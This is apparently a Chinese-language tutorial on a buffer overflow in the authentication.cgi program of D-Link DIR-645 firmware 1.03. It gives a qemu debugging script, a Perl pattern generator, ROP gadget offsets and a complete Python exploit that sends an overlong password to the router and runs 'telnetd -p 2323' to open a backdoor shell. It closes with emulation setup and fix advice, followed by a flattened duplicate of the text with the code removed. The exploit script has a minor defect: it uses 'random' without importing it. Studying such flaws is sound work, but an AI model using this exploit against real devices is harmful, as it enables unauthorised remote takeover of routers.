D-Link DIR-645路由器溢出分析
字数 881 2025-08-22 12:23:00

D-Link DIR-645路由器溢出分析与利用教学文档

1. 漏洞概述

本教学文档详细分析D-Link DIR-645路由器固件版本1.03中的缓冲区溢出漏洞。该漏洞存在于authentication.cgi程序中,当处理POST请求时,由于对输入数据长度缺乏有效验证,导致攻击者可以通过构造恶意请求实现远程代码执行。

2. 环境准备

2.1 所需工具

  • IDA Pro:用于逆向分析
  • qemu-mipsel:用于MIPS架构仿真
  • pattern.pl:用于生成和定位溢出偏移
  • Python:用于编写漏洞利用脚本

2.2 固件获取

固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

3. 漏洞分析

3.1 漏洞定位

漏洞存在于authentication.cgi程序中,具体在read()函数调用处:

read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))

其中:

  • var_430是栈上的缓冲区
  • CONTENT_LENGTH环境变量控制读取长度
  • 缺乏对输入长度的有效验证

3.2 触发条件

POST请求必须满足特定格式才能触发漏洞:

id=XX&password=XX

3.3 调试方法

使用qemu进行调试的脚本run_cgi.sh

#!/bin/bash
INPUT="$1"  # 参数1,如uid=A21G&password=1160个A
TEST="$2"   # 参数2,如uid=A21G
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"

cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="/authentication.cgi" \
    -E REMOTE_ADDR="127.0.0.1" \
    -g $PORT /htdocs/web/authentication.cgi
rm -f ./qemu

4. 漏洞利用

4.1 偏移量确定

使用pattern.pl脚本生成测试字符串并确定偏移量:

#!/usr/bin/perl -w
use strict;

# 生成指定长度的模式字符串
my $ustart = 65; my $uend = 90;    # A-Z
my $lstart = 97; my $lend = 122;   # a-z
my $nstart = 0; my $nend = 9;      # 0-9
my $length = $ARGV[0];
my $string = "";

# 生成模式字符串的逻辑
sub generate {
    for(my $upper = $ustart; $upper <= $uend; $upper++) {
        $string .= chr($upper);
        return if length($string) == $length;
        
        for(my $lower = $lstart; $lower <= $lend; $lower++) {
            $string .= chr($lower);
            return if length($string) == $length;
            
            for(my $num = $nstart; $num <= $nend; $num++) {
                $string .= $num;
                return if length($string) == $length;
                
                $string .= chr($upper);
                return if length($string) == $length;
                
                if($num != $nend) {
                    $string .= chr($lower);
                    return if length($string) == $length;
                }
            }
        }
    }
}

generate();
print $string;

使用方法:

./pattern.pl 1160 > test_auth

4.2 ROP链构造

关键ROP地址(基于libc基址0x2aaf8000):

target = {
    "1.03" : [
        0x531ff,  # 伪system函数地址(实际地址-1)
        0x158c8,  # rop chain 1(将伪地址+1)
        0x159cc,  # rop chain 2(执行system函数)
    ],
}

4.3 完整利用代码

import sys
import urllib, urllib2, httplib

class MIPSPayload:
    BADBYTES = [0x00]
    LITTLE = "little"
    BIG = "big"
    FILLER = "A"
    BYTES = 4
    
    def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes
    
    def rand_text(self, size):
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        return ''.join(random.choice(chars) for _ in range(size))
    
    def Add(self, data):
        self.shellcode += data
    
    def Address(self, offset, base=None):
        if base is None: base = self.libase
        return self.ToString(base + offset)
    
    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))
    
    def AddBuffer(self, size, byte=FILLER):
        self.Add(byte * size)
    
    def AddNops(self, size):
        self.Add(self.rand_text(size))
    
    def ToString(self, value, size=BYTES):
        data = ""
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
        if self.endianess != self.LITTLE:
            data = data[::-1]
        return data
    
    def Build(self):
        for i, c in enumerate(self.shellcode):
            for byte in self.badbytes:
                if ord(c) == byte:
                    raise Exception("Bad byte at offset %d: 0x%.2X" % (i, byte))
        return self.shellcode

class HTTP:
    def __init__(self, host, proto='http', verbose=False):
        self.host = host
        self.proto = proto
        self.verbose = verbose
    
    def Encode(self, data):
        if type(data) == dict:
            return data['password'] + '&' + data['uid']
        return urllib.quote_plus(data)
    
    def Send(self, uri, headers={}, data=None, encode_params=True):
        if data is not None:
            data = self.Encode(data)
        
        httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
        httpcli.request('POST', uri, data, headers=headers)
        return httpcli.getresponse()

if __name__ == '__main__':
    libc = 0x2aaf8000  # libc基址
    target = {
        "1.03" : [
            0x531ff,  # 伪system地址
            0x158c8,  # ROP链1
            0x159cc,  # ROP链2
        ],
    }
    v = '1.03'
    cmd = 'telnetd -p 2323'  # 要执行的命令
    ip = '192.168.0.1'      # 目标IP
    
    # 构造payload
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
    payload.AddNops(1011)    # 填充1011字节
    payload.AddAddress(target[v][0], base=libc)  # $s0
    payload.AddNops(4)       # $s1
    payload.AddNops(4)       # $s2
    payload.AddNops(4)       # $s3
    payload.AddNops(4)       # $s4
    payload.AddAddress(target[v][2], base=libc)  # $s5
    payload.AddNops(4)       # $s6
    payload.AddNops(4)       # $s7
    payload.AddNops(4)       # $fp
    payload.AddAddress(target[v][1], base=libc)  # $ra
    payload.AddNops(16)      # 填充
    payload.Add(cmd)         # 要执行的命令
    
    # 构造HTTP请求
    pdata = {
        'uid': '3Ad4',
        'password': 'AbC' + payload.Build(),
    }
    header = {
        'Cookie': 'uid=3Ad4',
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'Mozilla/4.0'
    }
    
    # 发送攻击请求
    try:
        HTTP(ip).Send('authentication.cgi', data=pdata, headers=header)
        print '[+] Exploit succeeded'
    except Exception as e:
        print '[-] Exploit failed:', str(e)

5. 仿真环境搭建

5.1 启动qemu系统

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

5.2 准备固件环境

  1. 将固件文件系统复制到仿真环境中
  2. 挂载必要的目录:
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh
  1. 启动服务:
cd /etc/init.d/
./rcS

6. 漏洞修复建议

  1. CONTENT_LENGTH进行严格验证
  2. 对输入数据进行长度检查
  3. 更新到最新固件版本
  4. 使用地址空间布局随机化(ASLR)等防护措施

7. 总结

本漏洞利用的关键点:

  1. 通过构造超长password参数触发缓冲区溢出
  2. 精心构造ROP链绕过保护机制
  3. 利用libc中的gadget实现代码执行
  4. 通过telnetd开启后门端口实现持久化访问

通过本教学文档,读者可以全面了解D-Link DIR-645路由器的漏洞分析方法和利用技术,并掌握MIPS架构下的漏洞利用技巧。

D-Link DIR-645路由器溢出分析与利用教学文档 1. 漏洞概述 本教学文档详细分析D-Link DIR-645路由器固件版本1.03中的缓冲区溢出漏洞。该漏洞存在于 authentication.cgi 程序中,当处理POST请求时,由于对输入数据长度缺乏有效验证,导致攻击者可以通过构造恶意请求实现远程代码执行。 2. 环境准备 2.1 所需工具 IDA Pro:用于逆向分析 qemu-mipsel:用于MIPS架构仿真 pattern.pl:用于生成和定位溢出偏移 Python:用于编写漏洞利用脚本 2.2 固件获取 固件下载地址: 3. 漏洞分析 3.1 漏洞定位 漏洞存在于 authentication.cgi 程序中,具体在 read() 函数调用处: 其中: var_430 是栈上的缓冲区 CONTENT_LENGTH 环境变量控制读取长度 缺乏对输入长度的有效验证 3.2 触发条件 POST请求必须满足特定格式才能触发漏洞: 3.3 调试方法 使用qemu进行调试的脚本 run_cgi.sh : 4. 漏洞利用 4.1 偏移量确定 使用 pattern.pl 脚本生成测试字符串并确定偏移量: 使用方法: 4.2 ROP链构造 关键ROP地址(基于libc基址0x2aaf8000): 4.3 完整利用代码 5. 仿真环境搭建 5.1 启动qemu系统 5.2 准备固件环境 将固件文件系统复制到仿真环境中 挂载必要的目录: 启动服务: 6. 漏洞修复建议 对 CONTENT_LENGTH 进行严格验证 对输入数据进行长度检查 更新到最新固件版本 使用地址空间布局随机化(ASLR)等防护措施 7. 总结 本漏洞利用的关键点: 通过构造超长password参数触发缓冲区溢出 精心构造ROP链绕过保护机制 利用libc中的gadget实现代码执行 通过telnetd开启后门端口实现持久化访问 通过本教学文档,读者可以全面了解D-Link DIR-645路由器的漏洞分析方法和利用技术,并掌握MIPS架构下的漏洞利用技巧。